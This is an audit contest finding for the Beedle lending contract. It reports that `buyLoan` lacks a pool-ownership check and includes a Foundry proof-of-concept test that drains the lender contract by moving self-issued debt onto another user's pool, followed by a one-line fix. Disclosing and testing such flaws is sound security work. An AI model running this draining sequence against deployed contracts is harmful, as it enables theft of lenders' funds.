Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Contract can be drained by lack of pool ownership check in `buyLoan`

Mlome

Summary

In the buyLoan function, there is no check that the caller owns pool where the debt is transfered to, resulting in funds being stolen.

Vulnerability Details

When a loan is put up for auction, anyone can call the buyLoan function which transfers the debt to another pool without checking that the caller owns the new pool.

File: Lender.sol
​
L517: // update the loan with the new info
L518: loans[loanId].lender = msg.sender; // @audit - No check that msg.sender owns the pool

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L518

Hence, a malicious actor can:

  1. Create a pool

  2. Take a loan in his own pool

  3. Put the loan for auction

  4. Call buyLoan to transfer the debt to a similar pool

  5. Repeat steps (2)(3)(4)

  6. Keep all the profit

Impact

All tokens from the lender contract can be stolen. This is a critical issue.

POC

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
// Setup
address attacker = address(0x5);
loanToken.mint(address(attacker), 1_000*10**18);
collateralToken.mint(address(attacker), 2);
vm.startPrank(lender1);
// lender1 creates a pool of loanTokens
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 10*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
​
// Before the exploit
assertEq(collateralToken.balanceOf(address(lender)), 0);
assertEq(loanToken.balanceOf(address(lender)), 1_000*10**18); // Lender has 1_000 loanToken
assertEq(collateralToken.balanceOf(address(attacker)), 2); // Attacker has 2 wei of collateral token
assertEq(loanToken.balanceOf(address(attacker)), 1_000*10**18); // Attacker has 1_000 loanToken
​
// Exploit starts here
vm.startPrank(attacker);
// (1) Create a pool
loanToken.approve(address(lender), 1_000*10**18);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 5 minutes,
interestRate: 0,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
// (2) Take a loan in his own pool
collateralToken.approve(address(lender), 2);
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 1_000*10**18,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows); // Attacker has now 995*10**18 loanTokens
assertEq(loanToken.balanceOf(address(attacker)), 995*10**18);
// (3) Put the loan for auction
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
// (4) Call `buyLoan` to transfer the debt to lender1's pool
// Wait 2 minutes
vm.warp(block.timestamp + 2 minutes);
lender.buyLoan(loanId, poolId);
// (5) Take another loan in his own pool
lender.borrow(borrows);
​
// After the exploit
assertEq(collateralToken.balanceOf(address(lender)), 2);
assertEq(loanToken.balanceOf(address(lender)), 0); // Lender contract has been drained
assertEq(collateralToken.balanceOf(address(attacker)), 0);
assertEq(loanToken.balanceOf(address(attacker)), 1_990*10**18); // Attacker stole all the tokens (-0.5% of fee)
}

Tools Used

Manual review + Foundry

Recommendations

Check that msg.sender is the owner of the pool poolId. Add this check at the top of the buyLoan function:

if (msg.sender != pool[poolId].lender)
revert NotPoolOwner();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.